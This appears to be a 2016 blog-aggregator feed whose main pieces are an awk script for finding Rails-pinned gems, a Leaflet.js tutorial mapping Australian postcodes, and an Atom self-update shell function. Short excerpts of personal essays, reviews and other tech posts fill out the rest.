I figured I’d cheat a little and eyeball the Gemfile.lock to see which gems had an explicit dependency pinning rails (or actionpack, activejob, etc) to a version lower than I want to upgrade to, so I could get an idea of what needs to be upgraded without having to do them all one-by-one.

Then instead of eyeballing Gemfile.lock, I wrote an awk script to pull out the interesting dependencies (ie, anything that depends on rails gems) so I just have to check which versions they depend on by hand.

# Reads a Gemfile.lock and outputs all dependencies that depend on rails

BEGIN {
 parent = 0
 parent_printed = 0
 rails_gems = "^(rail(s|ties)|action(mailer|pack|view)|active(job|model|record|support))$"
}

# We only want the specs from the GEM section
NR == 1, $1 ~ /GEM/ { next }
$1 == "" { exit }

# Skip parent gems we don't care about (rails itself…)
$0 ~ /^ {4}[^ ]/ &&
$1 ~ rails_gems {
 parent = 0
 parent_printed = 0
 next
}

# Parent gems that aren't part of rails core
# Store the name to be printed if we match below
$0 ~ /^ {4}[^ ]/ {
 parent = $0
 parent_printed = 0
 next
}

# If the nested gem (6 space prefix) matches rails-names and we have a parent value
# set then we print them out - making sure to only print the parent once
$0 ~ /^ {6}[^ ]/ &&
$1 ~ rails_gems &&
parent != 0 {
 if (parent_printed == 0) {
 parent_printed = 1
 print parent
 }

 print $0
}

Run it against your Gemfile.lock for the app you’re upgrading:

awk -f rails5.awk Gemfile.lock

And you’ll get output like this, to run through and see if any of the dependencies are pinning to lower versions than you need.

 coffee-rails (4.0.1)
railties (>= 4.0.0, < 5.0)
factory_girl (4.4.0)
activesupport (>= 3.0.0)
factory_girl_rails (4.4.1)
railties (>= 3.0.0)
globalid (0.3.7)
activesupport (>= 4.1.0)
google-api-client (0.8.6)
activesupport (>= 3.2)
jquery-rails (3.1.4)
railties (>= 3.0, < 5.0)
jquery-ui-rails (5.0.5)
railties (>= 3.2.16)
rails-deprecated_sanitizer (1.0.3)
activesupport (>= 4.2.0.alpha)
rails-dom-testing (1.0.7)
activesupport (>= 4.2.0.beta, < 5.0)
rspec-rails (3.4.2)
actionpack (>= 3.0, < 4.3)
activesupport (>= 3.0, < 4.3)
railties (>= 3.0, < 4.3)
sass-rails (4.0.5)
railties (>= 4.0.0, < 5.0)
sprockets-rails (2.3.3)
actionpack (>= 3.0)
activesupport (>= 3.0)

In this case, I’m trying to take this app to rails 5.0, so all the ones specifying < 5 and < 4.3 need upgrading beforehand.

Map of Australia Using OpenStreetMaps, PSMA, R and Leaflet.js

Luke Singham — Wed, 10 Aug 2016 03:00:00 GMT

Aim: To use GNAF (Geocoded National Address File) data to display the adminstrative boundaries (e.g. States) on top of Open Street Maps. Additionally, I want the user when hovering over a state to see summary statistics. I want an Australian version of this.

Data #

G-NAF, is data containing all Australian addresses with geocoding, shape files for boundaries of states, electorates, municipals. It is the geocoding of a nation. And finally was released on data.gov.au this year. Here's a nice GNAF data overview. N.B. One set of data that is missing from the release is the postcode boundaries.

State Boundaries #

My initial geojson to get started was sourced from this github repo.

Postcode Boundaries #

I obtained the shape file for Australian postcodes from the Australian Bureau of Statistics. I then converted the shapefile to geojson (helpful tutorial here):

# Convert shp file to geojson
$ ogr2ogr -f GeoJSON -t_srs crs:84 au-postcodes.geojson POA_2011_AUST.shp

The resulting geojson is a whooping 201.1mb. There are two more processes to consider. Firstly, simplification of the polygons to reduce the load on the browser. The most popular algorithm to use for this is the Ramer–Douglas–Peucker algorithm. In R have a look at gSimplify() however I am going to use the mapshaper command line tool as I prefer command line tools and mapshaper has a couple of implementations of Visvalingam's polygon simplification algorithm.

# Install package
$ npm install -g mapshaper

# Run Visvalingam simplification retaining 10% of polygons
$ mapshaper -i au-postcodes.geojson -simplify 10% -o au-postcodes-Visvalingam-0.1.geojson

The size of the au-postcodes-Visvalingam-0.1.geojson file is about 10% of the size of au-postcodes.geojson file.

Secondly, we may want to reduce the file size by 'minifying' or 'packing' the data by removing all spaces and new lines. This can be done using geojson-minify. Packing the au-postcodes.geojson file from above with the command below reduced the file size to 19.1mb.

$ npm install -g geojson-minifier
$ geojson-minifier -o pack -f au-postcodes.geojson

Maps #

So library(rgdal) seems pretty essential but if you're using a mac like I am, here you run into some pain. If you try running install.packages('rgdal') it will exit with a status of 0. Installing the underlying gdal dependency fixes the problem.

$ brew install gdal

After installing gdal, install.packages('rgdal') ran just fine.

Adding Data to the Shapefile #

I used R for this process, rgdal allows you to do joins on shape files so you can attribute data to the geographical areas.

library(rgdal)      # Spatial data processing
library(jsonlite)   # Read json files
library(readr)      # Fast I/O

# Postcode shape json
gdal.postcodes <- readOGR("au-postcodes-Visvalingam-0.1-density.geojson", "OGRGeoJSON")

# Read data you want to join to the shape file
df <- read_csv("your_data.csv")

# Change to character for leading 0s in NT postcodes
df$cleaned_postcode <- sprintf("%04d", df$postcode)

# Join agg values onto postcode (returns)
gdal.postcodes@data <- sp::merge(gdal.postcodes@data, df , by.x = "POA_NAME", by.y = "cleaned_postcode", all.x = TRUE)

# Write to a new file
writeOGR(gdal.postcodes, 'au-postcodes-Visvalingam-0.1-density.geojson','spDf', driver = 'GeoJSON', check_exists = FALSE)

Leaflet.js #

To display the information in a standalone single page app I started with this leaflet choropleth example.

There's a few things to customise to an Australian version:

1. Getting the Data into the Webpage #

I modified the page to read au-postcodes-Visvalingam-0.1-density.js. You can't just read a .json file in the head of your page, for options on how to get data to load on your page see this helpful SO answer. I went with option two, I opened the au-postcodes-Visvalingam-0.1-density.geosjson and inserted var postcodesData = at the beginning of the data array and put a ; to end the variable declaration.

var postcodesData = {
...
};

Then save as .js. Now you can read the au-postcodes-Visvalingam-0.1-density.js file in the head of your html.

<head>
  <!-- load geojson data as "postcodeData" -->
  <script src="au-postcodes-Visvalingam-0.1-density.js"></script>
...
</head>

At the bottom of your page you will need to ensure the postcodesData is referenced in the declaration of the geojson variable. This is also when the leaflet functions defining style and hover events are pointed to the postcode shapes.

// add all options to the polygons
geojson = L.geoJson(postcodesData, {
 style: style,
 onEachFeature: onEachFeature
}).addTo(map);

2. Setting Initial Location and Zoom on Page Load #

To open on Australia instead of the US the key piece of code you need to set is the latitude and longitude coordinates along with the zoom level. This required a little bit of playing around to get the desired look. N.b I set the zoom level to 4 in the code below, don't try finely tuning with decimal places as tiles are only available for integers. I learnt the hard way!

// set up the map
var map = L.map('map').setView([-27.833, 133.583], 4);

3. Dynamically Fit the Map to Fill the Device Screen Size #

There is one issue with setting the zoom, since the zoom of the map is fixed and the device size is variable depending on the device being used. For example, if you set the zoom using your desktop screen, then loaded the page on a mobile device with a fraction of the screen real estate you will only see a fraction of Australia.

a. Set the Viewport #

Check out W3's intro to the viewport. Included the following in the head of your html.

<meta name="viewport" content="width=device-width, height=device-height, initial-scale=1.0"/>

b. Change the #map Styling #

The leaflet choropleth example has the following styling applied to the div map:

#map { width: 800px; height: 500px; }

This is a fixed size, we want to change this to be relative. The following will fit to any screensize

#map { position: absolute; top: 0; right: 0; bottom: 0; left: 0; }

c. Set Relative Zoom #

The steps before fix the filling of the screen. So now we have variable screen fill and fixed zoom. What we want is variable screen fill and variable zoom. That way, leaflet will automatically zoom to the maximum it can whilst keeping all of Australia visible on the device. Thankfully, leaflet provides a function for this, fitbounds. We need to change this:

// set up the map
var map = L.map('map').setView([-27.833, 133.583], 4);

If you imagine a box containing Australia, then draw a diagonal through that box, the latitude and longitude of the diagnoal line's endpoints are what the fitBounds() constructs as a container from. I picked a point at the south easter tip of Tasmania and the other to the north west of Western Australia. Here's the code:

// set up the map
var map = L.map('map').setView([-27.833, 133.583]).fitBounds(
[ [-43.21, 147.8], [-12.5, 117.2] ]
);

Other Useful Resources Encountered #

The Great Migration

The David Brownman Blog — Tue, 09 Aug 2016 03:00:00 GMT

undefined

Read the whole thing.

Lolita

Apurva Shukla's RSS Feed — Mon, 08 Aug 2016 10:00:00 GMT

⭐ ⭐ ⭐ ⭐ Undoubtedly the face of transgression; this spectacle of the inner workings of Humbert Humbert divulge humanity’s own insecurities…

Atom Self-Update Script

Pete's Points — Mon, 08 Aug 2016 06:06:34 GMT

My work setup requires a non-administrator account for normal login. I have sudo access set up for my normal user. For some reason, Atom's autoupdate feature can't seem to deal with this and gets stuck in a loop trying to install updates. So I just scripted it as below:

update_atom() {
  local atom="${HOME}Downloads/atom.zip"
  echo -n "downloading…"
  curl --silent --fail --location 'https://atom.io/download/mac' > "${atom}"
  echo "✓"
  local version
  version=$(unzip -p "${atom}" Atom.app/Contents/Info.plist \
    | grep -A 1 -i CFBundleVersion \
    | grep string \
    | tr -d -c 0-9.)
  echo -n "install Atom ${version}? (y/n): "
  if [[ -n "${ZSH_VERSION}" ]]; then
    read -q confirm
  else
    read -n 1 confirm
  fi
  if [[ "${confirm}" != "y" ]]; then
    return 1
  fi
  echo -n "installing…"
  sudo rm -rf /Applications/Atom.app
  sudo unzip -q -d /Applications "${atom}"
  sudo chown -R "${USER}" /Applications/Atom.app
  echo -n "✓"
}

Aarron Walter: VP of Design Education at InVision

Sam Solomon — Mon, 08 Aug 2016 03:00:00 GMT

Aarron Walter is the VP of Design Education at InVision and is the author of Designing for Emotion. Previously he founded the UX practice at Mailchimp.

Where do I get ideas for my learning projects?

Gosha Spark — Mon, 08 Aug 2016 03:00:00 GMT

Using github releases to deploy libraries

Umar Nizamani | RSS Feed — Sun, 07 Aug 2016 22:04:33 GMT

I recently joined Sense Labs and having setup a static analysis build server a little while ago with Jenkins and Infer I decided to do the…

Emojis, Or Why Can't I Just Paste The Hotdog?

utf9k — Sun, 07 Aug 2016 14:00:00 GMT

My first ever blog post

I’m Hosting The Designer News Podcast

Sam Solomon — Sun, 07 Aug 2016 03:00:00 GMT

I’ve got a new project. I’ll be hosting DN FM, which is the Designer News Podcast. Designer News is one of my favorite online communities.

2016-08-07

ho.dges.online — Sun, 07 Aug 2016 03:00:00 GMT

Fork queue!

Upvotes over time by subreddit or: Why /r/The_Donald is always on the front page

Ryan Compton — Sun, 07 Aug 2016 03:00:00 GMT

Here’s a plot of the cumulative number of upvotes per minute for submissions to a few major subreddits:

Having a fish tank is supposed to be about stress relief

Liza Shulyayeva — Sat, 06 Aug 2016 19:42:49 GMT

@Lazer Having a fish tank is supposed to be about stress relief.
— Steven D Marlow (@sd_marlow) August 4, 2016

Zhora the fairground goldfish

I had a goldfish as a kid in elementary school in Alabama, obtained for free when I won it at a school fair. My family and I knew nothing about proper care of any fish - poor Zhora spent two years in a small round bowl with no filter and no heater, us not knowing any better than to change the water every week and feed him flakes daily. We actually thought he had a good life. Only years later when I happend to look into having an aquarium again did I realize how wrong we were and how miserable Zhora must have been. Here is what I (as a complete noob) think is a good overview of why it’s bad to give or receive “free goldfish” at fairgrounds.

Castle Hill Winter Trip 2016 Photos

smcleod.net — Sat, 06 Aug 2016 03:00:00 GMT

Castle Hill Winter Trip 2016 [Photos]

Email as a Microservice

Brightball Articles — Sat, 06 Aug 2016 03:00:00 GMT

Email might be one of the most often overlooked pieces of any web application. Usually the biggest discussion around it in a project begins and ends with “and we’ll send them an email when this happens…”. A little thought and some minor adjustments can help us avoid some problems that will grow as your project does. Let’s talk about email as a microservice.

The game of classes: Hidden deprivation

D13V — Fri, 05 Aug 2016 03:00:00 GMT

Why is it so hard to think about something that I’ve been deprived of? Maybe because unless I’ve experienced the new perspective, I don’t realize I’ve been missing it? What have I been missing?

Well, for one part - I was not exposed to much education about how to be successful in life and how to negotiate. I’ve been living with the impression that I simply need to do a good job. The way I’ve always imagined achieving success is to work harder, do better job, and get paid more. And that has worked so far. By the book. I’ve done a good job of solving math problems in high school and qualified to participate in IMO. I’ve done good job applying to universities and entered MIT. I’ve done good job studying computer science and gotten a well-paying job. I’ve eventually improved on the job and gotten a raise. I’ve noted the pattern - I improve my skill and get rewarded for it.

But is this how most successful people came to be? No. This is how highly paid professionals came to be, but not how world leaders came to be. Not to say that they didn’t develop mastery in their fields. They did. But they went beyond that and figured out how to best extract value from this mastery. How to sell their skills. They didn’t fully rely that there will be a market for their outstanding skills. Nope. By definition, if their skill is rare and extraordinary, it will be unique and there wouldn’t be a market for it.

Mavericks will develop amazing mastery in something just to see that nobody will reward them for it. Nobody rewarded Van Gogh during his life about pushing the state of the art. Only after his death, his relatives figured out how to present his work in a way that it attracts attention. If it wasn’t for them, we wouldn’t know of his genius.

For me, as get better and better at my professional job, I eventually will reach a ceiling if don’t learn how to present my work in a appealing way. Achieving mastery is a prerequisite but it is not enough. Mastery multiplies by salesmanship. This has been a truth that I had lived without knowing. All my life I’ve proceeded happily about my business, without feeling that I’m missing out.

To put it in nerdy terms - I’ve been descending only along one dimension of the success gradient.

Sometimes privilege is about knowing certain truths and strategies about life, which you can only learn from other privileged people. They might be hard to discover for ourselves by chance. We as humans are pretty bad at imagining things we haven’t experienced before. New cuisine tastes, the feeling of bunjee jumping, the freedom of not needing to work. We are born without knowing how these taste, and unless we experience them, we never learn them.

Oh, wouldn’t it be wonderful if everybody could taste all experiences and decide for themselves what kind of life they want to have! And then have to knowledge and skills to achieve it. And achieve it in the best way that doesn’t stop others from having their best life? Yes, it would be wonderful, but it’s a dream. There are powerful forces working against it.

These are not necessarily explicit forces such as a conspiracy organization, trying to control the people. I think these forces stem from unavoidable mathematical and economical limitations to the availability of tasting variety in life. I think that these mathematical necessities induce the creation of control schemes such as government, education system and religion. These, explicit and overt systems set a frame for the society in which to distribute the goods and the experiences. When the society is weak and poor, these systems form its backbone and keep it from collapsing. Without these systems the society will devolve into anarchy, violence, and disorder. Until a strong force comes and takes over - either from within or from outside.

In the happy case, these systems work well and make the society stronger and richer. However, these systems like to preserve themselves even after they’ve solved the problem they were designed to solve and are no longer needed. The reason for this is that these systems always favor a certain group of people over the others. Patricians and plebians, academics vs uneducated people, men vs women, citizen of one country versus another. When a system fixes a problem and creates surplus of experiences, the group of people who were benefiting so far stands to lose their advantage. If the system is replaced by a more fair system, these people may lose some of their exclusivity and surplus. In the long run, they might benefit from a system change, but in the short term they stand to lose their privilege. They fight back and try to preserve the current system in which they reap the benefits.

If the suppressed group can see the benefits that are available but not given, it will fight. Socially, legally, even violently. Either side may win so there is a risk for the dominating group.

The dominating group doesn’t want this risk, so they naturally keep the benefits hidden. If the suppressed group doesn’t realize they are missing out, they will not fight. Thus, the dominating group often wins the fight before it even happens.

Certain benefits are harder to hide. In those cases, the dominating group can provide some other small unrelated benefit to the other group making the other group more comfortable and complacent, without sacrificing its dominant position.

It is the game of classes. Similar to the game of thrones, but involving entire groups of populations and a lot more time. And this game can be played without necessarily involving much of ill will between the classes. Everybody works for their interests and the interests of the dominating groups are to stay dominating.

Light Saver, a nice project... that should be explained better

Welcome to Marco Fioretti's website! on Stop at Zona-M — Thu, 04 Aug 2016 22:44:19 GMT

Vedant Desai is a “Smart Fifth Grader Football Player” who just invented a “Light Saver” device that…

My backup strategy to USB disk using duply

Srijan Choudhary, all posts — Thu, 04 Aug 2016 20:55:00 GMT

Local system backup using duply

Syncing Stash/BitBucket with searchcode server

Ben E. C. Boyter — Thu, 04 Aug 2016 08:14:19 GMT

Recently it came up to perform a slight integration piece between a on premises Stash/BitBucket install and a searchcode server install. Thankfully both have an API and very thankfully there is a nice Python library for talking to Stash/BitBucket.

Below is the code used. It pulls out all of the repositories from every project, checks if it exists in searchcode and if not adds it as a repository to be indexed. You need to install stashy (pip install stashy) and run it whenever you have new repositories. One idea is to set it as a cron task and ensure everything is in sync.

QNAP NAS Cannot unmount disk

Graham Stevens – Grh.am — Thu, 04 Aug 2016 00:17:01 GMT

Whilst setting up my new QNAP NAS, I received a warning:

[Volume DataVol1] The file system is not clean. It is suggested that you go to [Storage Manager] to run "Check File System".

So, wishing to ensure my new HDD was healthy, I did as I was told and ran the ‘File System Check’ tool.

After a couple of minutes, I received another message, this time an error:

[Volume DataVol1] Examination failed (Cannot unmount disk).

Not a great sign. A swift Google for the error message (which you have no doubt done to get to this page!) revealed that SSH and the command line was the way to go, thanks to Maciej Mensfeld:

Secondary action invocation in Phrebar

TOGoS's Project Log — Wed, 03 Aug 2016 21:13:37 GMT

My GopherCon experience

divan's blog — Wed, 03 Aug 2016 20:28:46 GMT

A couple of weeks ago I gave a talk at the largest Go conference, GopherCon, in Denver. It was the first time I attended GopherCon at all, and the first time ever I spoke in English in front of 1400+ people, and it was an absolutely incredible experience. Here is my story.

My journey to GopherCon started on a cold winter day in the apartments in the center of Odessa, Ukraine, where I was living at that time. I was one of the organizers of the first Go meetup in Lviv (Ukraine) and have prepared one general talk about Go. We targeted mainly newcomers, so I wanted to make another talk that would share my passion and admiration of some of the coolest aspects of Go - concurrency.

Eye in the Sky

🦉 olshansky 🦁 — Wed, 03 Aug 2016 15:40:04 GMT

Olshansky's review of Eye in the Sky

Midnight Special

🦉 olshansky 🦁 — Wed, 03 Aug 2016 15:33:58 GMT

Olshansky's review of Midnight Special

Seen in downtown Montreal...

The Technical Blog of James on purpleidea.com — Wed, 03 Aug 2016 04:59:23 GMT

The Technical Blog of James was seen on an outdoor electronic display in downtown Montreal! Thanks to one of my readers for sending this in.

I guess the smart phone revolution is over, and people are taking to reading my articles on bigger screens! The "poutine" is decent proof that this is probably Montreal.

If you’ve got access to a large electronic display, put up the blog, snap a photo, and send it my way! I’ll post it here and send you some random stickers!

I washed my headphones

Muffin Man — Wed, 03 Aug 2016 03:00:00 GMT

Recently I lost my iPhone headphones. I didn't care much, as they were almost three years old, and I had a brand new ones. But today, while getting ready for work, I found them in the pocket of the pants I washed about week ago.

I was sure they wouldn't work, but guess what? They do! Probably the fact that they dried for days helped.

So I guess I have a spare pair of headphones now :)

Update, April 2019. #

This time headphones with lightning connector were washed. And dried. They are still working and playing music. But the plastic and cable warped, so I won't be using them.

strictNullChecks

TOGoS's Project Log — Tue, 02 Aug 2016 21:13:37 GMT

OpenConfig and IETF YANG Models: Can they converge?

rob.sh — Tue, 02 Aug 2016 14:30:00 GMT

At IETF96 in Berlin, the chairs of the NETMOD working group, and Operations Area Director (Benoit Claise) published a statement to say “Models need not, and SHOULD NOT, be structured to include nodes/leaves to indicate applied configuration”. Now, this might seem a pretty innocuous statement, but it actually has a number of implications for the data models for network configuration and state that are being produced in the industry.

What is applied configuration?

The first question to an uninitiated reader might be, what is “applied configuration”? It’s not a term that has been in the common network nomenclature - and hence does need some further explanation. To define it, we need to look at the way that configuration is changed on a network element.

Using Gensim Word2Vec Embeddings in Keras

Ben Bolte — Tue, 02 Aug 2016 03:00:00 GMT

A short post and script regarding using Gensim Word2Vec embeddings in Keras, with example code.

Eve SDK for .NET v0.2 is out in the wild

Nicola Iarocci — Tue, 02 Aug 2016 03:00:00 GMT

I just released a long overdue update to Eve.NET. This release marks a significant improvement over the previous one, which was more a prototype than a real package. New features are as follows:

PostAsync() supports bulk inserts
DeleteAsync() supports bulk deletes
GetAsync() has a softDelete option to include soft-deleted documents with query results
GetAsync() has a rawQuery option to pass raw Eve queries to the server
BearerAuthenticator class adds support for Bearer Token authentication

Several fixes made it into this release and, most importantly, I switched to portable Profile259 which offers support for the following platforms: Xamarin.iOS, Xamarin.Android, WinPhone 8.1, Windows 8, .NET 4.5+. Yes, that means no more support for .NET 4.0. See the changelog for details.

Sun burns & sore feet

Hrafn Thorvaldsson — Tue, 02 Aug 2016 03:00:00 GMT

Link to album So over the last weekend I, my two cousins and their girlfriends went on a hike in the Icelandic country side. The first weekend in August is usually reserved for festivals held around the island and involve a fair bit of alcohol. This year we decided to go on a two day hike and experience nature. The hike was somewhere around 40-45km all in all. We decided to go first to Hólaskjól, which is a camping center at one of the entry points into the highlands.

Mikael Cho: Founder of Unsplash & Crew

Sam Solomon — Tue, 02 Aug 2016 03:00:00 GMT

Mikael Cho is the Unsplash and Crew. Unsplash, is a photo-sharing site that boasts 6 billion photo views per month.

Building an immutable key-value store on zlog

Noah Watkins — Tue, 02 Aug 2016 03:00:00 GMT

Persistent data structures are the dopest shit.

Python Fabric: Getting File from Host as String

Ben E. C. Boyter — Tue, 02 Aug 2016 01:52:39 GMT

When using fabric for deployments you will sometimes want check an existing file for the presence of a value before applying an update. A common example I run into is checking if an apt-source has already been added before adding it again. This is a little clunky in fabric, but thankfully you can write a simple helper which takes case of it for you.

def _get_remote(fileloc):
    '''Pulls back a file contents from connection as string'''
    from StringIO import StringIO

    fd = StringIO()
    get(fileloc, fd)
    content = fd.getvalue()
    return content

Usage is fairly simple. Say we want to install the latest version of Varnish Cache on an Ubuntu server. Usage like so works,

On Check Constraints and Whole Value

The Cranky Developer on Crater Moon Development — Mon, 01 Aug 2016 03:00:00 GMT

A business object with setters for attributes that are interdependent, will need check constraints on the setters. But there is a better way, using the Whole Value pattern.

Is your developer ripping you off?

Gosha Spark — Mon, 01 Aug 2016 03:00:00 GMT

San Francisco's Mission District travel bookmarks

xenodium.com @alvaro — Sun, 31 Jul 2016 03:00:00 GMT

Atlas Cafe.
Blue Bottle Coffee.
Cafe la Boheme.
Clarion Alley.
Coffee Bar.
Dynamo donut & coffee.
Four Barrel Coffee.
Grand Coffee.
Haus Coffee.
Kafe 99.
Linea cafe.
Mission skateboards.
pNakamoto's Bitcoin shop.
Philz Coffee.
Ritual Coffee roasters.
Rodger's coffee & tea.
Sightglass Coffee.
Stable Cafe.
Sugar lump coffee lounge.

Burger

Philipp Uhl — Sun, 31 Jul 2016 03:00:00 GMT

Letztens habe ich darüber nachgedacht eine Geschichte über Burger zu schreiben. Diese Burger wie man sie bei Fastfood-läden bekommt oder wenn man bereit ist etwas mehr Geld auszugeben auch in Restaurants und Burgerläden. Mein Tenor wäre gewesen, dass ein Burger doch eigentlich das Sinnbild des...

settimeout and nanoseconds

Pete's Points — Sat, 30 Jul 2016 17:37:28 GMT

Just a quick "today I learned" that if you pass a number < 1 as the delay argument to setTimeout node.js will attempt to run your callback at that time even if it's less than 1ms in the future.

const pretty = require('pretty-hrtime')

setTimeout(() => {
  const delta = process.hrtime(start)
  console.log(pretty(delta))
}, 0.5)

const start = process.hrtime()

If you run this in a shell loop, you'll notice sometimes it is able to complete in 500 nanoseconds or so, but sometimes it can only manage 2.5ms.

for i in $(seq 1 10); do node time.js; done
1.92 ms
562 μs
568 μs
1.87 ms
565 μs
2.62 ms
1.88 ms
1.87 ms
553 μs
566 μs

Eight Surprises During My First Year as a Father

Untrod — Sat, 30 Jul 2016 10:00:00 GMT

I have a 13-month-old son named Dashiell (pronounced Dash-uhl, and I'm sorry in advance to schoolage Dashiell, whose teachers will all say "Dah-sheel?" on his first day). He's awesome. I mean...I'm not super objective, but even so, he's definitely a good dude. We're going to keep him.

Most of …

The Alchemist

Apurva Shukla's RSS Feed — Sat, 30 Jul 2016 10:00:00 GMT

⭐ ⭐ ⭐ ⭐ ⭐ Ostensibly simple, yet dazzlingly rich; both in its witty didacticism and beautiful passages. The Alchemist is a story of a boy…

Ned Sherrin has left the building by Murray Lachlan Young

ho.dges.online — Sat, 30 Jul 2016 03:00:00 GMT

Chosen only as a hat-tip to my perennial Ned Sherrin/Ed Sherran mental mix-up.

Ned dead, is that what you said?

Quick mind
Fast draw
Dry wit
Sharp claw

Warm heart
Fine chap
Time slot
Blue plaque?

That was the week
That was the life
That was the Ned that was

Ladies and gentleman,

Mr Ned Sherrin has left the building.

The truth knocks on the door by Robert M Pirsig

ho.dges.online — Sat, 30 Jul 2016 03:00:00 GMT

It was a puzzling thing. The truth knocks on the door and you say “Go away, I’m looking for the truth.” And so it goes away.

Сказка сказок

Blogs on Michail Rybakov — Fri, 29 Jul 2016 17:07:46 GMT

В “Сказке сказок” есть сцены, утопающие в желтом свете, там всё хорошо и спокойно и все дома и что-то потихоньку делают.
Воспоминания о детстве, наверное.

Нашел эту фотографию августа 2015 и вспомнил. Папа построил веранду, и теперь там солнечно, и можно сидеть и есть персики в свете сказки сказок. Арс с папой и едят.

Some NeXT level stuff

Jason Eckert's Website and Blog — Fri, 29 Jul 2016 03:00:00 GMT

1. What is NeXT? (pun intended)

NeXT was the computer company that Steve Jobs (co-founder of Apple) created after he got kicked out of Apple in the 1980s. They made high-end UNIX workstations that were intended to rival Apple computers, and primarily targeted for the higher education and science/engineering markets. However, they were not as successful as their competitors in this market and when Steve Jobs returned to Apple in 1997, he ensured that Apple purchased NeXT.

searchcode.com: The Architecture – migration 3.0

Ben E. C. Boyter — Thu, 28 Jul 2016 04:09:56 GMT

27th July 2016 at about 9:30pm my local time (GMT +10) I updated the A records for searchcode’s nameservers to point at a new stack that has been several months in the making. As with most posts of this sort of nature a quick recap of where things were and where they are now.

The previous searchcode stack consisted of two dedicated servers hosted by Hetzner. I have previously discussed this about two years ago when discussing searchcode next. The first server was a reasonably powerful machine running pretty much all of code required to deliver searchcode.com itself with the exception of the actual index. searchcode is a Django application and was using nginx to serve results directly out of memcached where possible to avoid consuming a running Gunicorn process. The move to have another server for the index came pretty quickly after searchcode was released as it was just not performant enough with everything on a single box which was the situation for a short time.

Counting Pizza with Python

Tom Forbes — Thu, 28 Jul 2016 03:03:32 GMT

I’m a full time nerd, even when I’m ordering pizza online I can’t stop myself from investigating how the websites I’m ordering from work. My latest investigation was Dominoes where I found a neat way to count the number of orders that they process throughout the day. This post is supposed to highlig...

Creativity

D13V — Thu, 28 Jul 2016 03:00:00 GMT

What is creativity? How to be more creative? I don’t know. Do you know? I have some ideas about it, based on my observations of creative people and my efforts to write.

My hypothesis is that everybody can train and develop their creativity, through regular delivery of good enough art and craft, and ongoing increase in the quality and the frequency.

Lets me first talk about what I mean by creativity? For me, it is about making something new. First of all, making. If you only think about what you want to create, and not make anything out of it, then there will be no result of this creativity and it is pointless. It is not creativity, it is thinking. The result of the creativity needs to be in a medium different than your brain. This medium could be anything. It could be a piece of paper, a rock, or even the minds of other people. If you gather up your friends and give a speech or a toast, even if this speech is not recorded in a video or audio, your friends remember it.

The second condition is that the creation must be novel. Otherwise it is just copying. For example, if you take two ideas from two other creations and you combine them into a new creation - then it still counts as creativity! If you see an impressionist painter using dots to construct an image and you think it is a cool idea, and you make a different painting with the same technique, then this is not copying. The total combination is something new. But if you take a part of their painting and reproduce it exactly, then you are copying, and not being creative.

By my definition of creativity, the making of new things, I claim that you can train yourself to be creative.

Some people equate creativity with the generation of new concepts, styles, genres, etc. With having some major great idea that nobody else has had before. They would argue that we cannot create ideas at will but need to catch them when they come near us. They would argue that great ideas decide on their own when to come and in what form and we cannot manufacture them. Since they equate ideas and creativity, they might argue that we cannot manufacture creativity - it is something that we get externally, and cannot develop ourselves. Even though I don’t disagree that ideas are elusive beasts, and we cannot have a process for comming up with great ideas, I claim that we can get excellent at catching those beasts, setting traps for them, and hunting them down once we spot their shadows in the woods. And once we’ve caught some of them, we can domesticate and breed them.

But, as I said, ideas are not creativity. Making new things is creativity. Ideas facilitate creativity but it is not necessary to get a new idea every time you create. It is fine to reuse old ideas, in new combinations. Seriously. Look for example at the paintings. The idea that you’ll put a bunch of paints on canvas has been reused over and over. Each style in painting is an idea which combines with the idea of putting paint on canvas. Each individual painting is just a combination of previous ideas. And sometimes the painter is lucky and that combination in itself reveals a new idea.

You don’t need a new idea in order to create. Just gather up a bag of ideas, pick a combination that nobody has picked before and do the mechanics of setting this idea into reality. The mechanics are just mechanics and we can get more adept at them as we practice.

But how do you find a new combination of ideas? Aren’t they all taken already? Nope. There are so many possible combinations. If you have N basic ideas, wild or domesticated beasts, then you have 2^N possible combinations. That’s a lot. Of course, it gets harder to combine more than a small number of ideas together, so a more realistic number can be N to the power of K for some small fixed K. Given that there are thousands, if not millions of already known ideas, it becomes obvious that the number of viable combinations is too large to be fully exhausted.

And, I will go one step further to personalize creativity. Even if anyone else has done the same combination of ideas before, but you didn’t know about it, and you make it on your own - then I would still count it as creativity. So creativity is making things that are novel to the maker.

But hey, I said that you can train to be more creative, but I’ve been talking about combinations of ideas and copying. I’ve shown that you can be creative even if you aren’t good at catching wild ideas, but I’ve also not given any practical ideas about how to train to be more creative.

I think it is simple. I don’t think it is easy. My answer is - pushing yourself to create stuff with quality and quantity, over a long time. And I think that both quality and quantity are important and they help each other.

For example, I want to write one hundred decent essays in one year to achieve this. This is focus on quantity. I am not trying to write the best essays possible. I’m trying to write a lot. My plan is that if I force myself to write a lot, and I try to keep my writing improving, I will improve my ability to express myself eloquently in English and will improve my ability to think in detail about complex topics and to construct complex arguments on the fly. I believe that this focus on quantity will also improve the quality of my writing.

And so far, as long as I keep writing, I find it easier to come up with new topics to write about. When I’m getting one essay done every three to five days, and I encounter an idea, or a combination of ideas that I feel is worth trying to write about, I catch it and I remember it. I tend to notice more of those ideas soon after I’ve written as well. I then keep the catch in a priority list of one or two future ideas to write about. I’ve noticed that it doesn’t make sense for me to switch away from the current topic until I’ve finished it or have explicitly decided to abandon it.

I’m focusing on quantity, but I also avoid working on more than one thing at a time.

When I bite down on an idea I don’t let go even if I notice a juicier one around. I just make sure to finish eating every single piece of meat from it until I set my eyes on the new target. If it were that juicy and tender, I’ll still remember about it and go after it. To me it is important to finish what I’ve started, because I get easily distracted. Before committing to this simple rule of thumb, I’ve struggled for a while to start writing regularly.

I think that it is worth noting that focusing on quality can also improve the quantity, by increasing efficiency of certain tasks. But my intuition is that quantity improves quality a lot more than the other way around. And that’s why I focus on quantity first.

In summary, my recipe for becoming creative is to focus on quantity first, then quality, and moving to new projects only after completing the old ones. I think it is possible for anyone to be creative. It is not so much a matter of intrinsic talent, as much as being able to pay the price in effort.

PostgreSQL functions with Elixir Ecto

Brightball Articles — Wed, 27 Jul 2016 03:00:00 GMT

Functions within PostgreSQL can be setup to return rows and included in queries just like any other table. Continuing with our theme of trying to push Elixir and Phoenix a little on this site rebuild, we will move our site search inside of a database function and experiment with different ways to call it from Ecto.

Using lambdas with Bluebird.map

Pete's Points — Tue, 26 Jul 2016 04:52:48 GMT

Using lambdas with Bluebird.map

